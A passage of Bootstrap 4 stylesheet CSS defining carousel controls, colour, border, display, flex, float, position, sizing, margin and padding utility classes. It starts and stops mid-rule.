1;\n}\n\n.carousel-fade .active.carousel-item-left,\n.carousel-fade .active.carousel-item-right {\n opacity: 0;\n}\n\n.carousel-fade .carousel-item-next,\n.carousel-fade .carousel-item-prev,\n.carousel-fade .carousel-item.active,\n.carousel-fade .active.carousel-item-left,\n.carousel-fade .active.carousel-item-prev {\n transform: translateX(0);\n}\n\n@supports (transform-style: preserve-3d) {\n .carousel-fade .carousel-item-next,\n .carousel-fade .carousel-item-prev,\n .carousel-fade .carousel-item.active,\n .carousel-fade .active.carousel-item-left,\n .carousel-fade .active.carousel-item-prev {\n transform: translate3d(0, 0, 0);\n }\n}\n\n.carousel-control-prev,\n.carousel-control-next {\n position: absolute;\n top: 0;\n bottom: 0;\n display: flex;\n align-items: center;\n justify-content: center;\n width: 15%;\n color: #fff;\n text-align: center;\n opacity: 0.5;\n}\n\n.carousel-control-prev:hover, .carousel-control-prev:focus,\n.carousel-control-next:hover,\n.carousel-control-next:focus {\n color: #fff;\n text-decoration: none;\n outline: 0;\n opacity: .9;\n}\n\n.carousel-control-prev {\n left: 0;\n}\n\n.carousel-control-next {\n right: 0;\n}\n\n.carousel-control-prev-icon,\n.carousel-control-next-icon {\n display: inline-block;\n width: 20px;\n height: 20px;\n background: transparent no-repeat center center;\n background-size: 100% 100%;\n}\n\n.carousel-control-prev-icon {\n background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M5.25 0l-4 4 4 4 1.5-1.5-2.5-2.5 2.5-2.5-1.5-1.5z'/%3E%3C/svg%3E\");\n}\n\n.carousel-control-next-icon {\n background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M2.75 0l-1.5 1.5 2.5 2.5-2.5 2.5 1.5 1.5 4-4-4-4z'/%3E%3C/svg%3E\");\n}\n\n.carousel-indicators {\n position: absolute;\n right: 0;\n bottom: 10px;\n left: 0;\n z-index: 15;\n display: flex;\n justify-content: center;\n padding-left: 0;\n margin-right: 15%;\n margin-left: 15%;\n list-style: none;\n}\n\n.carousel-indicators li {\n position: relative;\n flex: 0 1 auto;\n width: 30px;\n height: 3px;\n margin-right: 3px;\n margin-left: 3px;\n text-indent: -999px;\n background-color: rgba(255, 255, 255, 0.5);\n}\n\n.carousel-indicators li::before {\n position: absolute;\n top: -10px;\n left: 0;\n display: inline-block;\n width: 100%;\n height: 10px;\n content: \"\";\n}\n\n.carousel-indicators li::after {\n position: absolute;\n bottom: -10px;\n left: 0;\n display: inline-block;\n width: 100%;\n height: 10px;\n content: \"\";\n}\n\n.carousel-indicators .active {\n background-color: #fff;\n}\n\n.carousel-caption {\n position: absolute;\n right: 15%;\n bottom: 20px;\n left: 15%;\n z-index: 10;\n padding-top: 20px;\n padding-bottom: 20px;\n color: #fff;\n text-align: center;\n}\n\n.align-baseline {\n vertical-align: baseline !important;\n}\n\n.align-top {\n vertical-align: top !important;\n}\n\n.align-middle {\n vertical-align: middle !important;\n}\n\n.align-bottom {\n vertical-align: bottom !important;\n}\n\n.align-text-bottom {\n vertical-align: text-bottom !important;\n}\n\n.align-text-top {\n vertical-align: text-top !important;\n}\n\n.bg-primary {\n background-color: #007bff !important;\n}\n\na.bg-primary:hover, a.bg-primary:focus,\nbutton.bg-primary:hover,\nbutton.bg-primary:focus {\n background-color: #0062cc !important;\n}\n\n.bg-secondary {\n background-color: #6c757d !important;\n}\n\na.bg-secondary:hover, a.bg-secondary:focus,\nbutton.bg-secondary:hover,\nbutton.bg-secondary:focus {\n background-color: #545b62 !important;\n}\n\n.bg-success {\n background-color: #28a745 !important;\n}\n\na.bg-success:hover, a.bg-success:focus,\nbutton.bg-success:hover,\nbutton.bg-success:focus {\n background-color: #1e7e34 !important;\n}\n\n.bg-info {\n background-color: #17a2b8 !important;\n}\n\na.bg-info:hover, a.bg-info:focus,\nbutton.bg-info:hover,\nbutton.bg-info:focus {\n background-color: #117a8b !important;\n}\n\n.bg-warning {\n background-color: #ffc107 !important;\n}\n\na.bg-warning:hover, a.bg-warning:focus,\nbutton.bg-warning:hover,\nbutton.bg-warning:focus {\n background-color: #d39e00 !important;\n}\n\n.bg-danger {\n background-color: #dc3545 !important;\n}\n\na.bg-danger:hover, a.bg-danger:focus,\nbutton.bg-danger:hover,\nbutton.bg-danger:focus {\n background-color: #bd2130 !important;\n}\n\n.bg-light {\n background-color: #f8f9fa !important;\n}\n\na.bg-light:hover, a.bg-light:focus,\nbutton.bg-light:hover,\nbutton.bg-light:focus {\n background-color: #dae0e5 !important;\n}\n\n.bg-dark {\n background-color: #343a40 !important;\n}\n\na.bg-dark:hover, a.bg-dark:focus,\nbutton.bg-dark:hover,\nbutton.bg-dark:focus {\n background-color: #1d2124 !important;\n}\n\n.bg-white {\n background-color: #fff !important;\n}\n\n.bg-transparent {\n background-color: transparent !important;\n}\n\n.border {\n border: 1px solid #dee2e6 !important;\n}\n\n.border-top {\n border-top: 1px solid #dee2e6 !important;\n}\n\n.border-right {\n border-right: 1px solid #dee2e6 !important;\n}\n\n.border-bottom {\n border-bottom: 1px solid #dee2e6 !important;\n}\n\n.border-left {\n border-left: 1px solid #dee2e6 !important;\n}\n\n.border-0 {\n border: 0 !important;\n}\n\n.border-top-0 {\n border-top: 0 !important;\n}\n\n.border-right-0 {\n border-right: 0 !important;\n}\n\n.border-bottom-0 {\n border-bottom: 0 !important;\n}\n\n.border-left-0 {\n border-left: 0 !important;\n}\n\n.border-primary {\n border-color: #007bff !important;\n}\n\n.border-secondary {\n border-color: #6c757d !important;\n}\n\n.border-success {\n border-color: #28a745 !important;\n}\n\n.border-info {\n border-color: #17a2b8 !important;\n}\n\n.border-warning {\n border-color: #ffc107 !important;\n}\n\n.border-danger {\n border-color: #dc3545 !important;\n}\n\n.border-light {\n border-color: #f8f9fa !important;\n}\n\n.border-dark {\n border-color: #343a40 !important;\n}\n\n.border-white {\n border-color: #fff !important;\n}\n\n.rounded {\n border-radius: 0.25rem !important;\n}\n\n.rounded-top {\n border-top-left-radius: 0.25rem !important;\n border-top-right-radius: 0.25rem !important;\n}\n\n.rounded-right {\n border-top-right-radius: 0.25rem !important;\n border-bottom-right-radius: 0.25rem !important;\n}\n\n.rounded-bottom {\n border-bottom-right-radius: 0.25rem !important;\n border-bottom-left-radius: 0.25rem !important;\n}\n\n.rounded-left {\n border-top-left-radius: 0.25rem !important;\n border-bottom-left-radius: 0.25rem !important;\n}\n\n.rounded-circle {\n border-radius: 50% !important;\n}\n\n.rounded-0 {\n border-radius: 0 !important;\n}\n\n.clearfix::after {\n display: block;\n clear: both;\n content: \"\";\n}\n\n.d-none {\n display: none !important;\n}\n\n.d-inline {\n display: inline !important;\n}\n\n.d-inline-block {\n display: inline-block !important;\n}\n\n.d-block {\n display: block !important;\n}\n\n.d-table {\n display: table !important;\n}\n\n.d-table-row {\n display: table-row !important;\n}\n\n.d-table-cell {\n display: table-cell !important;\n}\n\n.d-flex {\n display: flex !important;\n}\n\n.d-inline-flex {\n display: inline-flex !important;\n}\n\n@media (min-width: 576px) {\n .d-sm-none {\n display: none !important;\n }\n .d-sm-inline {\n display: inline !important;\n }\n .d-sm-inline-block {\n display: inline-block !important;\n }\n .d-sm-block {\n display: block !important;\n }\n .d-sm-table {\n display: table !important;\n }\n .d-sm-table-row {\n display: table-row !important;\n }\n .d-sm-table-cell {\n display: table-cell !important;\n }\n .d-sm-flex {\n display: flex !important;\n }\n .d-sm-inline-flex {\n display: inline-flex !important;\n }\n}\n\n@media (min-width: 768px) {\n .d-md-none {\n display: none !important;\n }\n .d-md-inline {\n display: inline !important;\n }\n .d-md-inline-block {\n display: inline-block !important;\n }\n .d-md-block {\n display: block !important;\n }\n .d-md-table {\n display: table !important;\n }\n .d-md-table-row {\n display: table-row !important;\n }\n .d-md-table-cell {\n display: table-cell !important;\n }\n .d-md-flex {\n display: flex !important;\n }\n .d-md-inline-flex {\n display: inline-flex !important;\n }\n}\n\n@media (min-width: 992px) {\n .d-lg-none {\n display: none !important;\n }\n .d-lg-inline {\n display: inline !important;\n }\n .d-lg-inline-block {\n display: inline-block !important;\n }\n .d-lg-block {\n display: block !important;\n }\n .d-lg-table {\n display: table !important;\n }\n .d-lg-table-row {\n display: table-row !important;\n }\n .d-lg-table-cell {\n display: table-cell !important;\n }\n .d-lg-flex {\n display: flex !important;\n }\n .d-lg-inline-flex {\n display: inline-flex !important;\n }\n}\n\n@media (min-width: 1200px) {\n .d-xl-none {\n display: none !important;\n }\n .d-xl-inline {\n display: inline !important;\n }\n .d-xl-inline-block {\n display: inline-block !important;\n }\n .d-xl-block {\n display: block !important;\n }\n .d-xl-table {\n display: table !important;\n }\n .d-xl-table-row {\n display: table-row !important;\n }\n .d-xl-table-cell {\n display: table-cell !important;\n }\n .d-xl-flex {\n display: flex !important;\n }\n .d-xl-inline-flex {\n display: inline-flex !important;\n }\n}\n\n@media print {\n .d-print-none {\n display: none !important;\n }\n .d-print-inline {\n display: inline !important;\n }\n .d-print-inline-block {\n display: inline-block !important;\n }\n .d-print-block {\n display: block !important;\n }\n .d-print-table {\n display: table !important;\n }\n .d-print-table-row {\n display: table-row !important;\n }\n .d-print-table-cell {\n display: table-cell !important;\n }\n .d-print-flex {\n display: flex !important;\n }\n .d-print-inline-flex {\n display: inline-flex !important;\n }\n}\n\n.embed-responsive {\n position: relative;\n display: block;\n width: 100%;\n padding: 0;\n overflow: hidden;\n}\n\n.embed-responsive::before {\n display: block;\n content: \"\";\n}\n\n.embed-responsive .embed-responsive-item,\n.embed-responsive iframe,\n.embed-responsive embed,\n.embed-responsive object,\n.embed-responsive video {\n position: absolute;\n top: 0;\n bottom: 0;\n left: 0;\n width: 100%;\n height: 100%;\n border: 0;\n}\n\n.embed-responsive-21by9::before {\n padding-top: 42.857143%;\n}\n\n.embed-responsive-16by9::before {\n padding-top: 56.25%;\n}\n\n.embed-responsive-4by3::before {\n padding-top: 75%;\n}\n\n.embed-responsive-1by1::before {\n padding-top: 100%;\n}\n\n.flex-row {\n flex-direction: row !important;\n}\n\n.flex-column {\n flex-direction: column !important;\n}\n\n.flex-row-reverse {\n flex-direction: row-reverse !important;\n}\n\n.flex-column-reverse {\n flex-direction: column-reverse !important;\n}\n\n.flex-wrap {\n flex-wrap: wrap !important;\n}\n\n.flex-nowrap {\n flex-wrap: nowrap !important;\n}\n\n.flex-wrap-reverse {\n flex-wrap: wrap-reverse !important;\n}\n\n.flex-fill {\n flex: 1 1 auto !important;\n}\n\n.flex-grow-0 {\n flex-grow: 0 !important;\n}\n\n.flex-grow-1 {\n flex-grow: 1 !important;\n}\n\n.flex-shrink-0 {\n flex-shrink: 0 !important;\n}\n\n.flex-shrink-1 {\n flex-shrink: 1 !important;\n}\n\n.justify-content-start {\n justify-content: flex-start !important;\n}\n\n.justify-content-end {\n justify-content: flex-end !important;\n}\n\n.justify-content-center {\n justify-content: center !important;\n}\n\n.justify-content-between {\n justify-content: space-between !important;\n}\n\n.justify-content-around {\n justify-content: space-around !important;\n}\n\n.align-items-start {\n align-items: flex-start !important;\n}\n\n.align-items-end {\n align-items: flex-end !important;\n}\n\n.align-items-center {\n align-items: center !important;\n}\n\n.align-items-baseline {\n align-items: baseline !important;\n}\n\n.align-items-stretch {\n align-items: stretch !important;\n}\n\n.align-content-start {\n align-content: flex-start !important;\n}\n\n.align-content-end {\n align-content: flex-end !important;\n}\n\n.align-content-center {\n align-content: center !important;\n}\n\n.align-content-between {\n align-content: space-between !important;\n}\n\n.align-content-around {\n align-content: space-around !important;\n}\n\n.align-content-stretch {\n align-content: stretch !important;\n}\n\n.align-self-auto {\n align-self: auto !important;\n}\n\n.align-self-start {\n align-self: flex-start !important;\n}\n\n.align-self-end {\n align-self: flex-end !important;\n}\n\n.align-self-center {\n align-self: center !important;\n}\n\n.align-self-baseline {\n align-self: baseline !important;\n}\n\n.align-self-stretch {\n align-self: stretch !important;\n}\n\n@media (min-width: 576px) {\n .flex-sm-row {\n flex-direction: row !important;\n }\n .flex-sm-column {\n flex-direction: column !important;\n }\n .flex-sm-row-reverse {\n flex-direction: row-reverse !important;\n }\n .flex-sm-column-reverse {\n flex-direction: column-reverse !important;\n }\n .flex-sm-wrap {\n flex-wrap: wrap !important;\n }\n .flex-sm-nowrap {\n flex-wrap: nowrap !important;\n }\n .flex-sm-wrap-reverse {\n flex-wrap: wrap-reverse !important;\n }\n .flex-sm-fill {\n flex: 1 1 auto !important;\n }\n .flex-sm-grow-0 {\n flex-grow: 0 !important;\n }\n .flex-sm-grow-1 {\n flex-grow: 1 !important;\n }\n .flex-sm-shrink-0 {\n flex-shrink: 0 !important;\n }\n .flex-sm-shrink-1 {\n flex-shrink: 1 !important;\n }\n .justify-content-sm-start {\n justify-content: flex-start !important;\n }\n .justify-content-sm-end {\n justify-content: flex-end !important;\n }\n .justify-content-sm-center {\n justify-content: center !important;\n }\n .justify-content-sm-between {\n justify-content: space-between !important;\n }\n .justify-content-sm-around {\n justify-content: space-around !important;\n }\n .align-items-sm-start {\n align-items: flex-start !important;\n }\n .align-items-sm-end {\n align-items: flex-end !important;\n }\n .align-items-sm-center {\n align-items: center !important;\n }\n .align-items-sm-baseline {\n align-items: baseline !important;\n }\n .align-items-sm-stretch {\n align-items: stretch !important;\n }\n .align-content-sm-start {\n align-content: flex-start !important;\n }\n .align-content-sm-end {\n align-content: flex-end !important;\n }\n .align-content-sm-center {\n align-content: center !important;\n }\n .align-content-sm-between {\n align-content: space-between !important;\n }\n .align-content-sm-around {\n align-content: space-around !important;\n }\n .align-content-sm-stretch {\n align-content: stretch !important;\n }\n .align-self-sm-auto {\n align-self: auto !important;\n }\n .align-self-sm-start {\n align-self: flex-start !important;\n }\n .align-self-sm-end {\n align-self: flex-end !important;\n }\n .align-self-sm-center {\n align-self: center !important;\n }\n .align-self-sm-baseline {\n align-self: baseline !important;\n }\n .align-self-sm-stretch {\n align-self: stretch !important;\n }\n}\n\n@media (min-width: 768px) {\n .flex-md-row {\n flex-direction: row !important;\n }\n .flex-md-column {\n flex-direction: column !important;\n }\n .flex-md-row-reverse {\n flex-direction: row-reverse !important;\n }\n .flex-md-column-reverse {\n flex-direction: column-reverse !important;\n }\n .flex-md-wrap {\n flex-wrap: wrap !important;\n }\n .flex-md-nowrap {\n flex-wrap: nowrap !important;\n }\n .flex-md-wrap-reverse {\n flex-wrap: wrap-reverse !important;\n }\n .flex-md-fill {\n flex: 1 1 auto !important;\n }\n .flex-md-grow-0 {\n flex-grow: 0 !important;\n }\n .flex-md-grow-1 {\n flex-grow: 1 !important;\n }\n .flex-md-shrink-0 {\n flex-shrink: 0 !important;\n }\n .flex-md-shrink-1 {\n flex-shrink: 1 !important;\n }\n .justify-content-md-start {\n justify-content: flex-start !important;\n }\n .justify-content-md-end {\n justify-content: flex-end !important;\n }\n .justify-content-md-center {\n justify-content: center !important;\n }\n .justify-content-md-between {\n justify-content: space-between !important;\n }\n .justify-content-md-around {\n justify-content: space-around !important;\n }\n .align-items-md-start {\n align-items: flex-start !important;\n }\n .align-items-md-end {\n align-items: flex-end !important;\n }\n .align-items-md-center {\n align-items: center !important;\n }\n .align-items-md-baseline {\n align-items: baseline !important;\n }\n .align-items-md-stretch {\n align-items: stretch !important;\n }\n .align-content-md-start {\n align-content: flex-start !important;\n }\n .align-content-md-end {\n align-content: flex-end !important;\n }\n .align-content-md-center {\n align-content: center !important;\n }\n .align-content-md-between {\n align-content: space-between !important;\n }\n .align-content-md-around {\n align-content: space-around !important;\n }\n .align-content-md-stretch {\n align-content: stretch !important;\n }\n .align-self-md-auto {\n align-self: auto !important;\n }\n .align-self-md-start {\n align-self: flex-start !important;\n }\n .align-self-md-end {\n align-self: flex-end !important;\n }\n .align-self-md-center {\n align-self: center !important;\n }\n .align-self-md-baseline {\n align-self: baseline !important;\n }\n .align-self-md-stretch {\n align-self: stretch !important;\n }\n}\n\n@media (min-width: 992px) {\n .flex-lg-row {\n flex-direction: row !important;\n }\n .flex-lg-column {\n flex-direction: column !important;\n }\n .flex-lg-row-reverse {\n flex-direction: row-reverse !important;\n }\n .flex-lg-column-reverse {\n flex-direction: column-reverse !important;\n }\n .flex-lg-wrap {\n flex-wrap: wrap !important;\n }\n .flex-lg-nowrap {\n flex-wrap: nowrap !important;\n }\n .flex-lg-wrap-reverse {\n flex-wrap: wrap-reverse !important;\n }\n .flex-lg-fill {\n flex: 1 1 auto !important;\n }\n .flex-lg-grow-0 {\n flex-grow: 0 !important;\n }\n .flex-lg-grow-1 {\n flex-grow: 1 !important;\n }\n .flex-lg-shrink-0 {\n flex-shrink: 0 !important;\n }\n .flex-lg-shrink-1 {\n flex-shrink: 1 !important;\n }\n .justify-content-lg-start {\n justify-content: flex-start !important;\n }\n .justify-content-lg-end {\n justify-content: flex-end !important;\n }\n .justify-content-lg-center {\n justify-content: center !important;\n }\n .justify-content-lg-between {\n justify-content: space-between !important;\n }\n .justify-content-lg-around {\n justify-content: space-around !important;\n }\n .align-items-lg-start {\n align-items: flex-start !important;\n }\n .align-items-lg-end {\n align-items: flex-end !important;\n }\n .align-items-lg-center {\n align-items: center !important;\n }\n .align-items-lg-baseline {\n align-items: baseline !important;\n }\n .align-items-lg-stretch {\n align-items: stretch !important;\n }\n .align-content-lg-start {\n align-content: flex-start !important;\n }\n .align-content-lg-end {\n align-content: flex-end !important;\n }\n .align-content-lg-center {\n align-content: center !important;\n }\n .align-content-lg-between {\n align-content: space-between !important;\n }\n .align-content-lg-around {\n align-content: space-around !important;\n }\n .align-content-lg-stretch {\n align-content: stretch !important;\n }\n .align-self-lg-auto {\n align-self: auto !important;\n }\n .align-self-lg-start {\n align-self: flex-start !important;\n }\n .align-self-lg-end {\n align-self: flex-end !important;\n }\n .align-self-lg-center {\n align-self: center !important;\n }\n .align-self-lg-baseline {\n align-self: baseline !important;\n }\n .align-self-lg-stretch {\n align-self: stretch !important;\n }\n}\n\n@media (min-width: 1200px) {\n .flex-xl-row {\n flex-direction: row !important;\n }\n .flex-xl-column {\n flex-direction: column !important;\n }\n .flex-xl-row-reverse {\n flex-direction: row-reverse !important;\n }\n .flex-xl-column-reverse {\n flex-direction: column-reverse !important;\n }\n .flex-xl-wrap {\n flex-wrap: wrap !important;\n }\n .flex-xl-nowrap {\n flex-wrap: nowrap !important;\n }\n .flex-xl-wrap-reverse {\n flex-wrap: wrap-reverse !important;\n }\n .flex-xl-fill {\n flex: 1 1 auto !important;\n }\n .flex-xl-grow-0 {\n flex-grow: 0 !important;\n }\n .flex-xl-grow-1 {\n flex-grow: 1 !important;\n }\n .flex-xl-shrink-0 {\n flex-shrink: 0 !important;\n }\n .flex-xl-shrink-1 {\n flex-shrink: 1 !important;\n }\n .justify-content-xl-start {\n justify-content: flex-start !important;\n }\n .justify-content-xl-end {\n justify-content: flex-end !important;\n }\n .justify-content-xl-center {\n justify-content: center !important;\n }\n .justify-content-xl-between {\n justify-content: space-between !important;\n }\n .justify-content-xl-around {\n justify-content: space-around !important;\n }\n .align-items-xl-start {\n align-items: flex-start !important;\n }\n .align-items-xl-end {\n align-items: flex-end !important;\n }\n .align-items-xl-center {\n align-items: center !important;\n }\n .align-items-xl-baseline {\n align-items: baseline !important;\n }\n .align-items-xl-stretch {\n align-items: stretch !important;\n }\n .align-content-xl-start {\n align-content: flex-start !important;\n }\n .align-content-xl-end {\n align-content: flex-end !important;\n }\n .align-content-xl-center {\n align-content: center !important;\n }\n .align-content-xl-between {\n align-content: space-between !important;\n }\n .align-content-xl-around {\n align-content: space-around !important;\n }\n .align-content-xl-stretch {\n align-content: stretch !important;\n }\n .align-self-xl-auto {\n align-self: auto !important;\n }\n .align-self-xl-start {\n align-self: flex-start !important;\n }\n .align-self-xl-end {\n align-self: flex-end !important;\n }\n .align-self-xl-center {\n align-self: center !important;\n }\n .align-self-xl-baseline {\n align-self: baseline !important;\n }\n .align-self-xl-stretch {\n align-self: stretch !important;\n }\n}\n\n.float-left {\n float: left !important;\n}\n\n.float-right {\n float: right !important;\n}\n\n.float-none {\n float: none !important;\n}\n\n@media (min-width: 576px) {\n .float-sm-left {\n float: left !important;\n }\n .float-sm-right {\n float: right !important;\n }\n .float-sm-none {\n float: none !important;\n }\n}\n\n@media (min-width: 768px) {\n .float-md-left {\n float: left !important;\n }\n .float-md-right {\n float: right !important;\n }\n .float-md-none {\n float: none !important;\n }\n}\n\n@media (min-width: 992px) {\n .float-lg-left {\n float: left !important;\n }\n .float-lg-right {\n float: right !important;\n }\n .float-lg-none {\n float: none !important;\n }\n}\n\n@media (min-width: 1200px) {\n .float-xl-left {\n float: left !important;\n }\n .float-xl-right {\n float: right !important;\n }\n .float-xl-none {\n float: none !important;\n }\n}\n\n.position-static {\n position: static !important;\n}\n\n.position-relative {\n position: relative !important;\n}\n\n.position-absolute {\n position: absolute !important;\n}\n\n.position-fixed {\n position: fixed !important;\n}\n\n.position-sticky {\n position: sticky !important;\n}\n\n.fixed-top {\n position: fixed;\n top: 0;\n right: 0;\n left: 0;\n z-index: 1030;\n}\n\n.fixed-bottom {\n position: fixed;\n right: 0;\n bottom: 0;\n left: 0;\n z-index: 1030;\n}\n\n@supports (position: sticky) {\n .sticky-top {\n position: sticky;\n top: 0;\n z-index: 1020;\n }\n}\n\n.sr-only {\n position: absolute;\n width: 1px;\n height: 1px;\n padding: 0;\n overflow: hidden;\n clip: rect(0, 0, 0, 0);\n white-space: nowrap;\n border: 0;\n}\n\n.sr-only-focusable:active, .sr-only-focusable:focus {\n position: static;\n width: auto;\n height: auto;\n overflow: visible;\n clip: auto;\n white-space: normal;\n}\n\n.shadow-sm {\n box-shadow: 0 0.125rem 0.25rem rgba(0, 0, 0, 0.075) !important;\n}\n\n.shadow {\n box-shadow: 0 0.5rem 1rem rgba(0, 0, 0, 0.15) !important;\n}\n\n.shadow-lg {\n box-shadow: 0 1rem 3rem rgba(0, 0, 0, 0.175) !important;\n}\n\n.shadow-none {\n box-shadow: none !important;\n}\n\n.w-25 {\n width: 25% !important;\n}\n\n.w-50 {\n width: 50% !important;\n}\n\n.w-75 {\n width: 75% !important;\n}\n\n.w-100 {\n width: 100% !important;\n}\n\n.w-auto {\n width: auto !important;\n}\n\n.h-25 {\n height: 25% !important;\n}\n\n.h-50 {\n height: 50% !important;\n}\n\n.h-75 {\n height: 75% !important;\n}\n\n.h-100 {\n height: 100% !important;\n}\n\n.h-auto {\n height: auto !important;\n}\n\n.mw-100 {\n max-width: 100% !important;\n}\n\n.mh-100 {\n max-height: 100% !important;\n}\n\n.m-0 {\n margin: 0 !important;\n}\n\n.mt-0,\n.my-0 {\n margin-top: 0 !important;\n}\n\n.mr-0,\n.mx-0 {\n margin-right: 0 !important;\n}\n\n.mb-0,\n.my-0 {\n margin-bottom: 0 !important;\n}\n\n.ml-0,\n.mx-0 {\n margin-left: 0 !important;\n}\n\n.m-1 {\n margin: 0.25rem !important;\n}\n\n.mt-1,\n.my-1 {\n margin-top: 0.25rem !important;\n}\n\n.mr-1,\n.mx-1 {\n margin-right: 0.25rem !important;\n}\n\n.mb-1,\n.my-1 {\n margin-bottom: 0.25rem !important;\n}\n\n.ml-1,\n.mx-1 {\n margin-left: 0.25rem !important;\n}\n\n.m-2 {\n margin: 0.5rem !important;\n}\n\n.mt-2,\n.my-2 {\n margin-top: 0.5rem !important;\n}\n\n.mr-2,\n.mx-2 {\n margin-right: 0.5rem !important;\n}\n\n.mb-2,\n.my-2 {\n margin-bottom: 0.5rem !important;\n}\n\n.ml-2,\n.mx-2 {\n margin-left: 0.5rem !important;\n}\n\n.m-3 {\n margin: 1rem !important;\n}\n\n.mt-3,\n.my-3 {\n margin-top: 1rem !important;\n}\n\n.mr-3,\n.mx-3 {\n margin-right: 1rem !important;\n}\n\n.mb-3,\n.my-3 {\n margin-bottom: 1rem !important;\n}\n\n.ml-3,\n.mx-3 {\n margin-left: 1rem !important;\n}\n\n.m-4 {\n margin: 1.5rem !important;\n}\n\n.mt-4,\n.my-4 {\n margin-top: 1.5rem !important;\n}\n\n.mr-4,\n.mx-4 {\n margin-right: 1.5rem !important;\n}\n\n.mb-4,\n.my-4 {\n margin-bottom: 1.5rem !important;\n}\n\n.ml-4,\n.mx-4 {\n margin-left: 1.5rem !important;\n}\n\n.m-5 {\n margin: 3rem !important;\n}\n\n.mt-5,\n.my-5 {\n margin-top: 3rem !important;\n}\n\n.mr-5,\n.mx-5 {\n margin-right: 3rem !important;\n}\n\n.mb-5,\n.my-5 {\n margin-bottom: 3rem !important;\n}\n\n.ml-5,\n.mx-5 {\n margin-left: 3rem !important;\n}\n\n.p-0 {\n padding: 0 !important;\n}\n\n.pt-0,\n.py-0 {\n padding-top: 0 !important;\n}\n\n.pr-0,\n.px-0 {\n padding-right: 0 !important;\n}\n\n.pb-0,\n.py-0 {\n padding-bottom: 0 !important;\n}\n\n.pl-0,\n.px-0 {\n padding-left: 0 !important;\n}\n\n.p-1 {\n padding: 0.25rem !important;\n}\n\n.pt-1,\n.py-1 {\n padding-top: 0.25rem !important;\n}\n\n.pr-1,\n.px-1 {\n padding-right: 0.25rem !important;\n}\n\n.pb-1,\n.py-1 {\n padding-bottom: 0.25rem !important;\n}\n\n.pl-1,\n.px-1 {\n padding-left: 0.25rem !important;\n}\n\n.p-2 {\n padding: 0.5rem !important;\n}\n\n.pt-2,\n.py-2 {\n padding-top: 0.5rem !important;\n}\n\n.pr-2,\n.px-2 {\n padding-right: 0.5rem !important;\n}\n\n.pb-2,\n.py-2 {\n padding-bottom: 0.5rem !important;\n}\n\n.pl-2,\n.px-2 {\n padding-left: 0.5rem !important;\n}\n\n.p-3 {\n padding: 1rem !important;\n}\n\n.pt-3,\n.py-3 {\n padding-top: 1rem !important;\n}\n\n.pr-3,\n.px-3 {\n padding-right: 1rem !important;\n}\n\n.pb-3,\n.py-3 {\n padding-bottom: 1rem !important;\n}\n\n.pl-3,\n.px-3 {\n padding-left: 1rem !important;\n}\n\n.p-4 {\n padding: 1.5rem !important;\n}\n\n.pt-4,\n.py-4 {\n padding-top: 1.5rem !important;\n}\n\n.pr-4,\n.px-4 {\n padding-right: 1.5rem !important;\n}\n\n.pb-4,\n.py-4 {\n padding-bottom: 1.5rem !important;\n}\n\n.pl-4,\n.px-4 {\n padding-left: 1.5rem !important;\n}\n\n.p-5 {\n padding: 3rem !important;\n}\n\n.pt-5,\n.py-5 {\n padding-top: 3rem !important;\n}\n\n.pr-5,\n.px-5 {\n padding-right: 3rem !important;\n}\n\n.pb-5,\n.py-5 {\n padding-bottom: 3rem !important;\n}\n\n.pl-5,\n.px-5 {\n padding-left: 3rem !important;\n}\n\n.m-auto {\n margin: auto !important;\n}\n\n.mt-auto,\n.my-auto {\n margin-top: auto !important;\n}\n\n.mr-auto,\n.mx-auto {\n margin-right: auto !important;\n}\n\n.mb-auto,\n.my-auto {\n margin-bottom: auto !important;\n}\n\n.ml-auto,\n.mx-auto {\n margin-left: auto !important;\n}\n\n@media (min-width: 576px) {\n .m-sm-0 {\n margin: 0 !important;\n }\n .mt-sm-0,\n .my-sm-0 {\n margin-top: 0 !important;\n }\n .mr-sm-0,\n .mx-sm-0 {\n margin-right: 0 !important;\n }\n .mb-sm-0,\n .my-sm-0 {\n margin-bottom: 0 !important;\n }\n .ml-sm-0,\n .mx-sm-0 {\n margin-left: 0 !important;\n }\n .m-sm-1 {\n margin: 0.25rem !important;\n }\n .mt-sm-1,\n .my-sm-1 {\n margin-top: 0.25rem !important;\n }\n .mr-sm-1,\n .mx-sm-1 {\n margin-right: 0.25rem !important;\n }\n .mb-sm-1,\n .my-sm-1 {\n margin-bottom: 0.25rem !important;\n }\n .ml-sm-1,\n .mx-sm-1 {\n margin-left: 0.25rem !important;\n }\n .m-sm-2 {\n margin: 0.5rem !important;\n }\n .mt-sm-2,\n .my-sm-2 {\n margin-top: 0.5rem !important;\n }\n .mr-sm-2,\n .mx-sm-2 {\n margin-right: 0.5rem !important;\n }\n .mb-sm-2,\n .my-sm-2 {\n margin-bottom: 0.5rem !important;\n }\n .ml-sm-2,\n .mx-sm-2 {\n margin-left: 0.5rem !important;\n }\n .m-sm-3 {\n margin: 1rem !important;\n }\n .mt-sm-3,\n .my-sm-3 {\n margin-top: 1rem !important;\n }\n .mr-sm-3,\n .mx-sm-3 {\n margin-right: 1rem !important;\n }\n .mb-sm-3,\n .my-sm-3 {\n margin-bottom: 1rem !important;\n }\n .ml-sm-3,\n .mx-sm-3 {\n margin-left: 1rem !important;\n }\n .m-sm-4 {\n margin: 1.5rem !important;\n }\n .mt-sm-4,\n .my-sm-4 {\n margin-top: 1.5rem !important;\n }\n .mr-sm-4,\n .mx-sm-4 {\n margin-right: 1.5rem !important;\n }\n .mb-sm-4,\n .my-sm-4 {\n margin-bottom: 1.5rem !important;\n }\n .ml-sm-4,\n .mx-sm-4 {\n margin-left: 1.5rem !important;\n }\n .m-sm-5 {\n margin: 3rem !important;\n }\n .mt-sm-5,\n .my-sm-5 {\n margin-top: 3rem !important;\n }\n .mr-sm-5,\n .mx-sm-5 {\n margin-right: 3rem !important;\n }\n .mb-sm-5,\n .my-sm-5 {\n margin-bottom: 3rem !important;\n }\n .ml-sm-5,\n .mx-sm-5 {\n margin-left: 3rem !important;\n }\n .p-sm-0 {\n padding: 0 !important;\n }\n .pt-sm-0,\n .py-sm-0 {\n padding-top: 0 !important;\n }\n .pr-sm-0,\n .px-sm-0 {\n padding-right: 0 !important;\n }\n .pb-sm-0,\n .py-sm-0 {\n padding-bottom: 0 !important;\n }\n .pl-sm-0,\n .px-sm-0 {\n padding-left: 0 !important;\n }\n .p-sm-1 {\n padding: 0.25rem 